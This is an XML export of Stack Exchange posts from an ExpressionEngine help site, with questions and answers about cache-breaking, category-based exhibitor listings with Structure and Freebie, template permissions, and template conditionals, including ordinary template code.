  <row Id="11859" PostTypeId="1" AcceptedAnswerId="12065" CreationDate="2013-07-11T14:03:16.897" Score="1" ViewCount="514" Body="&lt;p&gt;I have a large site that uses Structure for most of the static page content. I'm also using CE Cache for performance on those pages since some of them are pretty complicated and heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the database driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the content doesn't change very frequently I have the cache set to never refresh. So far I've been forced to manually clear the cache for a specific content path since clearing the entire site cache just for one small section of the site seemed wasteful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the site's secondary navigation shows the current section's pages and immediate siblings, the cache would need to be flushed for the current section as well as one level up just in case the structure URL changes. (see screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yLIen.png&quot; alt=&quot;secondary navigation screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to configure Cache Breaking in such a way that I can automatically clear all pages that are siblings as well as the immediate parents and their siblings?&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-07-18T12:27:42.857" Title="Help requested with CE Cache cache-breaking rules" Tags="|ce-cache|cache-breaking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11860" PostTypeId="2" ParentId="11842" CreationDate="2013-07-11T14:20:09.317" Score="1" Body="&lt;p&gt;Justin Kimbrell of Objective HTML helped with an extension that would sync the ZV member data to the session whenever the profile was updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perfect.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="101" LastEditDate="2013-07-11T15:53:22.920" LastActivityDate="2013-07-11T15:53:22.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11861" PostTypeId="1" CreationDate="2013-07-11T14:47:09.117" Score="0" ViewCount="315" Body="&lt;p&gt;I am designing a site for a wedding show at the moment and I am struggling to get my head around displaying entries related to categories. Basically I have 28 categories Beauty Therapists, Bridalwear, Wedding Cars etc and each of these categories will have entries associated with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page &lt;code&gt;www.mysite.com/exhibitors/&lt;/code&gt; displays all my categories. I'd like the link to the entries to be &lt;code&gt;www.mysite.com/exhibitors/beauty-therapists/&lt;/code&gt; and that link to display all the beauty therapists at the show. But at the moment I cannot get the entries to display on the page, in fact I can't even get the page to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest version off EE and Structure, I have Zoo Triggers installed also with exhibitors as my trigger keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post code if needs be but it is probably something fairly simple, I am new(ish) to EE, have built about 6 sites now but this is the first to incorporate categories. Any help would be muchly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt; UPDATE 2 &lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;****&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is now working correctly. Updated code below in case anyone else come across the same issues. I had to set the setting in Freebie 'Always parse pagination' to yes to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt; UPDATE 1 &lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;****&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have the categories displaying correctly and the entries associated with those categories displaying when the category is clicked, the issue I have now is that I would like to paginate these entries but the pagination is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note this install is in a 'development' folder on my server which is located at www.mysite.com/development. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exhibitors template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/siteHeader&quot;}&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;{embed=&quot;includes/siteTopDetails&quot;}&#xA;&#xA;{embed=&quot;includes/brandAndNav&quot;} &#xA;&#xA;{embed=&quot;includes/pageHeading&quot;}&#xA;&#xA;{if freebie_1 == &quot;exhibitors&quot; &amp;amp;&amp;amp; freebie_2 == &quot;&quot;}&#xA;&amp;lt;section class=&quot;mainPage&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pageWidth&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;content noBottomPadding&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Exhibitors at the Show&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;featureText&quot;&amp;gt;Over 90 exhibitors ranging from Florists to Photographers to Cake Makers will showcase their products at the Ayrshire Wedding Show over the two days.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End pageWidth --&amp;gt;&#xA;    &amp;lt;div class=&quot;exhibitorsWidth&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;content noTopPadding&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;exhibitors&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    {exp:channel:categories channel=&quot;exhibitor_individual&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{structure:page:url}{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/exp:channel:categories}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitors --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsWidth --&amp;gt;&#xA;&amp;lt;/section&amp;gt;&amp;lt;!-- End mainPage section --&amp;gt;&#xA;{/if}&#xA;&#xA;{if freebie_1 == &quot;exhibitors&quot; &amp;amp;&amp;amp; freebie_2 != &quot;&quot;}&#xA;&amp;lt;section class=&quot;mainPage&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pageWidth&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;content noBottomPadding&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{exp:freebie:category_name segment=&quot;2&quot;}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End pageWidth --&amp;gt;&#xA;    &amp;lt;div class=&quot;exhibitorsWidth&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;exhibitorsContent&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;exhibitorsHolder clear&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;exhibitor_individual&quot; dynamic=&quot;no&quot; limit=&quot;2&quot; category=&quot;{exp:freebie:category_id segment='2'}&quot; parse=&quot;inward&quot; paginate=&quot;bottom&quot; paginate_base=&quot;{structure:page:uri}/{exp:freebie:category_name segment='2'}&quot;}&#xA;                &amp;lt;div class=&quot;exhibitorIndividual&quot;&amp;gt;&#xA;                    &amp;lt;hgroup&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;{company_name}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;Stand(s) {stand_number}&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;/hgroup&amp;gt;&#xA;                    &amp;lt;div class=&quot;exhibitorDetailsHolder&quot;&amp;gt;&#xA;                        &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;&amp;lt;strong&amp;gt;{exhibitor_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;{exhibitor_telephone_number}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;&amp;lt;a href=&quot;http://{exhibitor_web_address}&quot; target=&quot;_blank&quot;&amp;gt;{exhibitor_web_address}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {if special_offer_heading}    &#xA;                    &amp;lt;a href=&quot;#&quot; class=&quot;offerLink&quot; data-reveal-id=&quot;specialOfferModal&quot; data-animation=&quot;fade&quot;&amp;gt;Special Offer&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;!-- Special Offer Modal --&amp;gt;&#xA;                    &amp;lt;div id=&quot;specialOfferModal&quot; class=&quot;reveal-modal&quot;&amp;gt;&#xA;                        &amp;lt;hgroup&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;{special_offer_heading}&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;{special_offer_sub_heading}&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;/hgroup&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{special_offer_text}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;!-- Special Offer Modal --&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorIndividual --&amp;gt;&#xA;          {paginate}&#xA;         &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;         {pagination_links}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {previous_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/previous_page}&#xA;&#xA;                {page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/page}&#xA;&#xA;                {next_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/next_page}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages&amp;lt;/p&amp;gt;&#xA;         {/pagination_links}    &#xA;         &amp;lt;/div&amp;gt;&amp;lt;!-- End pagination --&amp;gt;&#xA;         {/paginate}&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsHolder --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorContent --&amp;gt;&#xA;        &amp;lt;div class=&quot;pageWidth&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;content noTopPadding noBottomPadding&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;backToExhibitors&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;icon-back&quot;&amp;gt;&amp;lt;a href=&quot;/development/exhibitors&quot;&amp;gt;Back to Exhibitors&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End backToExhibitors --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End pageWidth --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsWidth --&amp;gt;&#xA;    &amp;lt;div class=&quot;exhibitorsWidth&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;content noTopPadding&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Exhibitor Categories&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;div class=&quot;exhibitorCategories&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        {exp:channel:categories channel=&quot;exhibitor_individual&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{structure:page:url}{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                    {/exp:channel:categories}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorCategories --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsWidth --&amp;gt;&#xA;&amp;lt;/section&amp;gt;&amp;lt;!-- End mainPage --&amp;gt;&#xA;{/if}&#xA;&#xA;&#xA;{embed=&quot;includes/siteFooter&quot;}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="898" LastEditorUserId="898" LastEditDate="2013-07-15T19:32:52.710" LastActivityDate="2013-10-13T22:58:01.980" Title="Show Entries Associated with Category Using Structure" Tags="|categories|structure|zoo-triggers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11862" PostTypeId="2" ParentId="11840" CreationDate="2013-07-11T15:49:30.437" Score="0" Body="&lt;p&gt;You could use template permissions to redirect users to where they can't see the page if they do not belong to the correct member group. Design &gt; Template Manager then select template and edit preferences - see screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once there disable access to all but the super admin group and another group if necessary. Now no one can see that template. Select the redirect template that you want non-logged in members to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you could either set up a splash page, i.e. coming soon, or put in a {redirect=&quot;http://domain2.com&quot;} and send them to a completely different site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can view the site while it's being built, but no one else can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for importing a new site into an MSM build it's not possible unless you copy existing templates/preferences when initially creating a new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPlUR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-07-11T15:49:30.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11863" PostTypeId="2" ParentId="11836" CreationDate="2013-07-11T16:19:12.893" Score="1" Body="&lt;p&gt;What happens when you remove/alter either {start_nav_from_parent=&quot;true&quot;} or {start_nav_from_parent_depth=&quot;2&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not even adding the  on the page without children (just thinking outloud)....&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-07-11T16:19:12.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11864" PostTypeId="1" CreationDate="2013-07-11T16:19:33.943" Score="4" ViewCount="130" Body="&lt;p&gt;It's been a solid year since my last ee project. The things you forget over time :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of my template I show the latest featured entry (limit=&quot;1&quot; search:featured=&quot;yes&quot;). &#xA;Later in my template I'm showing all entries but need to add an additional class to the above featured entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By enabling php on the template I can save the entry_id in a variable and then check it in the lower exp:channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any issues with enabling php for something minor like this - performance, security? Is there a better way to hold this value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2013-08-10T20:42:25.733" Title="alternative to php var in template?" Tags="|templates|php|variable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11865" PostTypeId="2" ParentId="11864" CreationDate="2013-07-11T16:29:51.563" Score="1" Body="&lt;p&gt;Amanda,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reading this as you have two different channel:entries tag where the first tag only displays the featured entries and the second tag displays all entries. If this is correct then you can use a conditional inside the second tag go do what you want as per my example below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;whatever {if featured=&quot;yes&quot;}my_class{/if}&quot;&amp;gt;&#xA;more code&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I have misread, please clarify wiht more details and/or template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look at using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; if the above isn't what you need, but I've never been able to fully grok Stash.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-07-11T16:29:51.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11866" PostTypeId="1" AcceptedAnswerId="12764" CreationDate="2013-07-11T17:44:24.290" Score="2" ViewCount="56" Body="&lt;p&gt;I am trying to figure out the best way to structure my data.  I am building a site that is for rating items (generic term), but there is a new edition of the item every year. For this example, let's say that it is magazine editions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user would be able to search magazines and get a list returned back.  Let's say that the search results say National Geographic, Sports Illustrated, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they click on Sports Illustrated, they would go to a single page for sports illustrated, but within that page, they would be able to rate the content that they found in the January edition, as well as the February, March, etc. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of ratings plugins is that they would actually be rating an entry like Sports Illustrated - January 2013, etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to set this up. I have done a basic website on EE, but nothing this complex involving ratings, members and all of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All input is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastEditorUserId="1762" LastEditDate="2013-07-12T04:03:56.943" LastActivityDate="2013-08-15T15:01:14.310" Title="Setting up channel for handling &quot;editions&quot;" Tags="|ee2|channel-entries|channel|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11867" PostTypeId="1" CreationDate="2013-07-11T18:02:26.783" Score="1" ViewCount="1694" Body="&lt;p&gt;I am using pages to display content on a page called Speed Sales. I display the entry by checking for segment_2 and matching it to a channel entry basically. I need to display content in case someone spells the url wrong and it doesn't match a url_title in my speed_sales channel. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I might have to include a channel:entries tag with the channel=&quot;speed_sales&quot; and check if segment_2 == a url_title for an entry, then display default content if it doesn't, but am unsure how to do this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have updated my template to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;text-block&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;speed_sales&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot;}&#xA;                {if url_title == &quot;{segment_2}&quot;}&#xA;                    &amp;lt;h2 class=&quot;heading1 excludestrip single left&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                    {if lead_copy}&amp;lt;p class=&quot;lead&quot;&amp;gt;{lead_copy}&amp;lt;/p&amp;gt;{/if}&#xA;                    {if subtitle}&#xA;                        &amp;lt;hr/&amp;gt;&#xA;                        &amp;lt;h3 class=&quot;excludestrip&quot;&amp;gt;{subtitle}&amp;lt;/h3&amp;gt;&#xA;                    {/if}&#xA;                    {newsletter_copy}&#xA;                {/if}&#xA;                {if segment_2 == &quot;&quot; || no_results}&#xA;                    &amp;lt;h2 class=&quot;heading1 single&quot;&amp;gt;Speed Sales&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;p class=&quot;lead&quot;&amp;gt;You may have reached this page in error (a typo in a link, or you backspaced the URL). Please choose a newsletter from below:&amp;lt;/p&amp;gt;&#xA;                        {!-- {embed=&quot;speed_sales/.newsletter_list&quot;} --}&#xA;                {/if}&#xA;        {/exp:channel:entries}&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason I included the segment_2 check in my no_results conditional, is because it displays nothing in the no_results conditional (since there is no segment_2). The page url this would need to show up on is /speed_sales or anything under /speed_sales. What happens is everything works properly, but the if no_results conditional block displays multiple times instead of just once. It must be reading the amount of entries in the channel and repeating it that many times. I commented out the embedded list template to check, and it still repeats the block anyways.&lt;/p&gt;&#xA;" OwnerUserId="525" LastEditorUserId="525" LastEditDate="2013-07-16T17:54:45.650" LastActivityDate="2014-03-20T08:40:21.530" Title="Display content if url segment does not match a url_title" Tags="|conditionals|embeds|url-title|segments|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11868" PostTypeId="2" ParentId="11861" CreationDate="2013-07-11T19:30:12.073" Score="1" Body="&lt;p&gt;Currently with your template setup, there is no way for EE/Structure to tell which template to route to once &lt;code&gt;segment_2&lt;/code&gt; is available. I've never used Zoo Trigger's before, so this answer is specific using the 3rd party addon - &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Take control of your URLs — define segments that you want EE to ignore&#xA;  completely. Use 'freebie' segments to trigger template behavior, build&#xA;  dynamic archives inside Structure, or just build special URLs for&#xA;  analytics purposes. Freebie allows you to use segments in powerful,&#xA;  flexible ways without the hassle of dealing with strict URL parsing&#xA;  (like Structure's).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In order for this to work, a conditional is needed to determine what type of page is present based of the URL, so if &lt;code&gt;segment_2&lt;/code&gt; is empty, to show the category listing, if not, show entries specific to present category. The first step is to set a &lt;strong&gt;&lt;em&gt;breaking segment&lt;/em&gt;&lt;/strong&gt; in Freebie's settings: &lt;code&gt;exhibitors&lt;/code&gt;. Now anything after this segment will be ignored by EE, thus allowing you to use 1 template to control the content. Update the '&lt;em&gt;Exhibitor&lt;/em&gt;' template with the code below once Freebie is installed &amp;amp; setup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_2 == &quot;&quot;} {!-- If segment_2 or freebie_2 is empty, show category listing --}&#xA;&#xA;    &amp;lt;section class=&quot;mainPage&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pageWidth&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;content noBottomPadding&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Exhibitors at the Show&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p class=&quot;featureText&quot;&amp;gt;Over 90 exhibitors ranging from Florists to Photographers to Cake Makers will showcase their products at the Ayrshire Wedding Show over the two days.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End pageWidth --&amp;gt;&#xA;        &amp;lt;div class=&quot;exhibitorsWidth&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;content noTopPadding&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;exhibitors&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        {exp:channel:categories channel=&quot;exhibitors&quot; style=&quot;linear&quot;}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/exp:channel:categories}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitors --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsWidth --&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- End mainPage section --&amp;gt;&#xA;&#xA;{if:else} {!-- If freebie_2 is present, show single entry category listing --}&#xA;&#xA;    &amp;lt;section class=&quot;mainPage&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pageWidth&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;content noBottomPadding&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{exp:freebie:category_name segment=&quot;2&quot;}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End pageWidth --&amp;gt;&#xA;        &amp;lt;div class=&quot;exhibitorsWidth&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;exhibitorsContent&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;exhibitorsHolder clear&quot;&amp;gt;&#xA;                    {exp:channel:entries channel=&quot;exhibitor_individual&quot; category=&quot;{exp:freebie:category_id segment=&quot;2&quot;}&quot; disable=&quot;member_data&quot;}&#xA;                    &amp;lt;div class=&quot;exhibitorIndividual&quot;&amp;gt;&#xA;                        &amp;lt;hgroup&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;{company_name}&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;h5&amp;gt;{stand_number}&amp;lt;/h5&amp;gt;&#xA;                        &amp;lt;/hgroup&amp;gt;&#xA;                        &amp;lt;div class=&quot;exhibitorDetailsHolder&quot;&amp;gt;&#xA;                            &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;&amp;lt;strong&amp;gt;{exhibitor_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;{exhibitor_telephone_number}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p class=&quot;exhibitorDetails&quot;&amp;gt;&amp;lt;a href=&quot;http://{exhibitor_web_address}&quot; target=&quot;_blank&quot;&amp;gt;{exhibitor_web_address}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {if special_offer_heading}    &#xA;                        &amp;lt;a href=&quot;#&quot; class=&quot;offerLink&quot; data-reveal-id=&quot;specialOfferModal&quot; data-animation=&quot;fade&quot;&amp;gt;Special Offer&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;!-- Special Offer Modal --&amp;gt;&#xA;                        &amp;lt;div id=&quot;specialOfferModal&quot; class=&quot;reveal-modal&quot;&amp;gt;&#xA;                            &amp;lt;hgroup&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;{special_offer_heading}&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;{special_offer_sub_heading}&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;/hgroup&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{special_offer_text}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;!-- Special Offer Modal --&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorIndividual --&amp;gt;&#xA;                    {/exp:channel:entries}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsHolder --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorContent --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End exhibitorsWidth --&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- End mainPage --&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-07-11T19:30:12.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
